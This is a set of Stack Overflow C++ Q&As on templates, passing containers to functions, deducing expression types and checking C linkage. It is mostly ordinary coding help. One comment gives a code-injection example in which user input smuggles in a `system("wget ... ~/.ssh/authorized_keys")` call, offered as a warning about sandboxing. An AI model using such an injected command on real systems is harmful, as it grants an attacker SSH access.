C++; Pass std::array as a Function Parameter - c++

I know this is a common question, but how do I pass a std::array as a function parameter? I've looked at answers for other questions on here asking the same thing, and the best "solution" I found was to use a template to set size_t to a keyword like SIZE. I tried this, but it still gives me two compile time errors:
Error C2065 'SIZE': undeclared identifier
Error C2975 '_Size': invalid template argument for 'std::array', expected compile-time constant expression
Both errors on the line where I have my void function definition.
As far as I know, I did this exactly how the solution was typed out. I know I could instead pass through a std::vector, but I'm stubborn and want to learn this.
Here is my relevant code:
#include <iostream>
#include <array>
using namespace std;
template<size_t SIZE>
void QuickSort(array<unsigned, SIZE>& arrayName);
int main()
{
// main function.
}
void QuickSort(array<unsigned, SIZE>& arrayName)
{
// whatever the function does.
}
I'd appreciate any help figuring out what it is that I'm doing wrong.
EDIT: I forgot to take out the second function parameter. I did that, but still the same issues.

Your function definition still needs template parameters since the compiler has no way of knowing what SIZE is
template<size_t SIZE>
// ^^^^^^^^^^^^^^^^^^
void QuickSort(array<unsigned, SIZE>& arrayName)
{
/// whatever the function does.
}

Related

Why separating template definition/declaration sometimes work

I'm wide awake at 1AM trying to figure out a compilation error I'm having.
I can't really write the exact code but I'll do my best to make my question clear.
ClassWithTemplateFunction.hpp
#include "StructA.hpp"
#include "ClassB.hpp"
class ClassWithTemplateFunction
{
template<typename A>
void MyTemplateFunc();
}
ClassWithTemplateFunction.cpp
template<typename T>
void ClassWithTemplateFunction::MyTemplateFunc()
{
// code block
}
StructA.hpp
struct ClassWithTemplateFunction;
struct StructA
{
void StructAFunc(ClassWithTemplateFunction* templ);
}
StructA.cpp
#include "ClassWithTemplateFunction.hpp"
#include "StructA.hpp"
StructA::StructAFunc(ClassWithTemplateFunction* templ)
{
templ->MyTemplateFunc<SomeTemplate>();
}
The above codes work great. "SomeTemplate" is also another class. But then I added a new class which also uses the template function:
ClassB.hpp
class ClassWithTemplateFunction;
class ClassB
{
void ClassBFunc();
}
ClassB.cpp
#include "ClassB.hpp"
#include "ClassWithTemplateFunction.hpp"
void ClassB::ClassBFunc(ClassWithTemplateFunction* templ)
{
templ->MyTemplateFunc<SomeTemplate>();
}
And for some reason, this now introduced a linker error (undefined reference to MyTemplateFunc()). I can't figure out why it suddenly produced this issue. Obviously it can be fixed by moving the definition to the header file, but I want to understand, before adding ClassB, the code works just fine.
If ClassWithTemplateFunction.cpp instantiates MyTemplateFunc with some template arguments somehow (e.g. by calling it), you'll be able to use MyTemplateFunc with the exact same arguments anywhere in the program.
That's why you don't get an undefined reference in the first case.
But it's not possible for an invocation of MyTemplateFunc with the exact same template arguments in a different file to cause an undefined reference. Please check if the template argument is really the same in both cases.

Passing Stack to Function

So I'm playing around with stacks and I've filled one in my main function, but now I want to pass it to my other functions so I can traverse through it. I'm not sure what kind of data type to put into the prototype though so that it accepts it. Suggestions? Here's what I have:
Main.cpp
#include <iostream>
using namespace std;
#include "stack.h"
void displayStack(char &stackRef);
int main()
{
Stack<char> stack;
stack.push('a');
stack.push('b');
stack.push('c');
return 0;
};
void displayStack(char starRef)
{
// Cannot Get here - Errors!
};
It's telling me I have too many arguments and it doesn't match argument list.
This should suffice:
void displayStack(const Stack<char>& stack);
The name DisplayStack indicates that the function only displays the stack, not changing it in any way. So then the argument can be a reference to const. However, the suffix Stack in the name is redundant since it is implied by the argument, so I’d do it like this:
#include <iostream>
using namespace std;
#include "stack.h"
typedef Stack< char > CharStack;
void display( CharStack const& stack )
{
// ... Display the stack
}
int main()
{
CharStack stack;
for( auto const ch : { 'a', 'b', 'c' } )
{
stack.push( ch );
}
display( stack );
}
Note that …
The function has been moved above main. No silly pure declaration required then, less work. DRY: Don't Repeat Yourself.
Incorrect semicolons after the function definitions, have been removed. Well, at least I think they’re incorrect. Whether they are or not, they’re totally superfluous.
Superfluous return 0; in main has been removed, because that is the default. However, some programmers prefer to have it explicit.
On the downside, while the C++11 loop compiles nicely with g++ 4.7.2, it causes an Internal Compiler Error (ICE) with Visual C++ 11.0:
[d:\dev\test]
> cl foo.cpp
foo.cpp
foo.cpp(7) : warning C4100: 'stack' : unreferenced formal parameter
foo.cpp(16) : error C2059: syntax error : '{'
foo.cpp(16) : error C2143: syntax error : missing ';' before '}'
c1xx : fatal error C1063: INTERNAL COMPILER ERROR
Please choose the Technical Support command on the Visual C++
Help menu, or open the Technical Support help file for more information
[d:\dev\test]
> _
Oh well.
Do that your way. ;-)
Compiler bug reported to Microsoft.
If you do not want to modify contents of the stack inside the function:
void displayStack(const Stack<char> &starRef)
If you want to modify the contents of the stack inside the function:
void displayStack(Stack<char> &starRef)
Points to note:
The type of the variable being passed must be the type you mention in function prototype.
In C/C++, by default all arguments to function are passed by copy, i.e: A copy of the argument rather than the argument itself is passed to the function. The overhead is the copy. You pass by reference to avoid overhead of a copy of variable being passed.
You use const qualifier on the argument if you want the passed variable to be immutable in the function.
Change your displayStack function to:
void displayStack(Stack<char> &stackRef)

Print types of arbitrary C++ expressions

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.

Calling a member function with member data by using for_each

Dear all, I would like to call a member function (that expects a reference) for each object of (let's say) a vector that is a member of the same class, as the following code shows:
#include <functional>
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;
struct Stuff {
double x;
};
class Test {
public:
void f1(Stuff & thing);
void f2(void);
vector<Stuff> things;
};
void Test::f1(Stuff & thing) {
; // do nothing
}
void Test::f2(void) {
for_each(things.begin(), things.end(), f1);
}
int main(void)
{
return 0;
}
This codes gives me a compiler error related to unresolved overloaded function type . I have tried also with bind, but it seems that the references requisite in f1 is one problem. I know I am missing something important here, so I take this opportunity to solve my problem and to learn. At the moment, I can't install boost, but I would like to know also if boost is useful to solve this problem. Thanks in advance.
The function you want to call cannot be simply identified by f1 but should be referred to as &Test::f1 (as in : member function f1 of class Test)
Function f1 does not take a single argument : as any non-static member function it has an implicit this parameter of type Test * const
Finally, a standard bind won't be able to do the trick because it doesn't handle parameters passed by reference.
Boost.Bind would indeed be a great option :
std::for_each(things.begin(), things.end(), boost::bind(&Test::f1, this, _1));

Checking if a function has C-linkage at compile-time [unsolvable]

Is there any way to check if a given function is declared with C-linkage (that is, with extern "C") at compile-time?
I am developing a plugin system. Each plugin can supply factory functions to the plugin-loading code. However, this has to be done via name (and subsequent use of GetProcAddress or dlsym). This requires that the functions be declared with C-linkage so as to prevent name-mangling. It would be nice to be able to throw a compiler error if the referred-to function is declared with C++-linkage (as opposed to finding out at runtime when a function with that name does not exist).
Here's a simplified example of what I mean:
extern "C" void my_func()
{
}
void my_other_func()
{
}
// Replace this struct with one that actually works
template<typename T>
struct is_c_linkage
{
static const bool value = true;
};
template<typename T>
void assertCLinkage(T *func)
{
static_assert(is_c_linkage<T>::value, "Supplied function does not have C-linkage");
}
int main()
{
assertCLinkage(my_func); // Should compile
assertCLinkage(my_other_func); // Should NOT compile
}
Is there a possible implementation of is_c_linkage that would throw a compiler error for the second function, but not the first? I'm not sure that it's possible (though it may exist as a compiler extension, which I'd still like to know of). Thanks.
I agree with Jonathan Leffler that this probably is not possible in a standard way. Maybe it would be possible somewhat, depending on the compiler and even version of the compiler, but you would have to experiment to determine possible approaches and accept the fact that the compiler's behavior was likely unintentional and might be "fixed" in later versions.
With g++ version 4.4.4 on Debian Squeeze, for example, you might be able to raise a compiler error for functions that are not stdcall with this approach:
void my_func() __attribute__((stdcall));
void my_func() { }
void my_other_func() { }
template <typename ret_, typename... args_>
struct stdcall_fun_t
{
typedef ret_ (*type)(args_...) __attribute__((stdcall));
};
int main()
{
stdcall_fun_t<void>::type pFn(&my_func),
pFn2(&my_other_func);
}
g++ -std=c++0x fails to compile this code because:
SO2936360.cpp:17: error: invalid conversion from ‘void ()()’ to ‘void ()()’
Line 17 is the declaration of pFn2. If I get rid of this declaration, then compilation succeeds.
Unfortunately, this technique does not work with cdecl.
For Unix/Linux, how about analyzing the resulting binary with 'nm' and looking for symbol names? I suppose it's not what you meant, but still it's sort of compile time.